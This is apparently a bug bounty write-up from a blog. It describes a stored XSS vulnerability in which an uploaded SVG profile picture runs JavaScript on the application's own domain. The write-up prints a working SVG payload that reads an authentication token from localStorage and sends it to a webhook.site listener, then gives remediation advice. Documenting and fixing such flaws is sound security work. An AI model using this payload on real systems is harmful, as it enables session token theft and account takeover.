Press enter or click to view image in full size
Hacking via Pictures: Stored XSS via SVG Leading to Account Takeover
Hello everyone! 👋
In this write-up, I want to share an interesting finding: a Stored Cross-Site Scripting (XSS) vulnerability hidden inside a profile picture upload feature.
By simply uploading a malicious SVG image, I was able to execute JavaScript code and steal authentication tokens stored in `localStorage`, leading to a full Account Takeover.
Let’s dive into how it happened!
The Discovery
While hunting on a program from the BugBounty.sa platform, I focused on the user profile settings. I noticed the application allowed users to upload profile pictures, so I immediately checked if it accepted SVG (Scalable Vector Graphics) files.
During my reconnaissance, I found three critical pieces of information that made this attack possible:
- Storage Mechanism: I inspected the application’s storage and found that the session credentials (authentication tokens) were stored in the browser’s `localStorage`.
- Same-Origin Hosting: I noticed that uploaded photos were hosted **self-hosted on the same domain** (e.g., `https://redacted.com/photos/...`) rather than on a separate CDN or sandbox domain. This is crucial because scripts running inside the image share the same origin as the main application, allowing them to access `localStorage`.
3. Missing CSP: The application had a missing or misconfigured **Content Security Policy (CSP)**, allowing inline scripts to execute.
Steps to Reproduce
1. Navigate to the Target
I logged into my account and went to the **Account Details** page.
**URL:** `https://redacted.com/account/details`
2. Create the Malicious Payload
I set up a listener on **webhook.site** to capture the stolen data. Then, I created a file named `exploit.svg`. Inside this file, I embedded a script to grab the `token` from `localStorage` and send it to my webhook.
- *The Payload:**
<svg xmlns="[http://www.w3.org/2000/svg](http://www.w3.org/2000/svg)" width="400" height="400" viewBox="0 0 124 124" fill="none">
<rect width="124" height="124" rx="24" fill="#000000"/>
<script type="text/javascript">
var t = localStorage.getItem("token");
if(t){
// send token to attacker webhook
fetch("[https://webhook.site/8c54e2aa-4731-48ec-8ff3-05c524cabd19?token=](https://webhook.site/8c54e2aa-4731-48ec-8ff3-05c524cabd19?token=)" + encodeURIComponent(t));
}
alert(t);
</script>
</svg>3. Upload the Image
I clicked the upload button and selected my exploit.svg file. The application accepted it without any errors! ✅
Get Anas NadY’s stories in your inbox
Join Medium for free to get updates from this writer.
Once uploaded, I right-clicked the profile image and selected “Open image in new tab”.
As soon as the browser rendered the SVG, the JavaScript executed. 💥
- An alert box popped up with the token.
- The token was silently sent to my webhook listener.
Press enter or click to view image in full size
Press enter or click to view image in full size
The Impact
This wasn’t just a simple popup. By accessing localStorage, I could extract the Authentication Token.
With this token, an attacker can:
- Take over the account without a password.
- View sensitive personal information (PII).
- Perform actions on behalf of the victim (admin or user).
Remediation
To fix this, developers should:
- Sanitize SVGs: Remove
<script>tags and event handlers (likeonload) before saving the file. - Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
- Force Content-Disposition: Serve user-uploaded images as
attachmentso browsers download them instead of rendering them.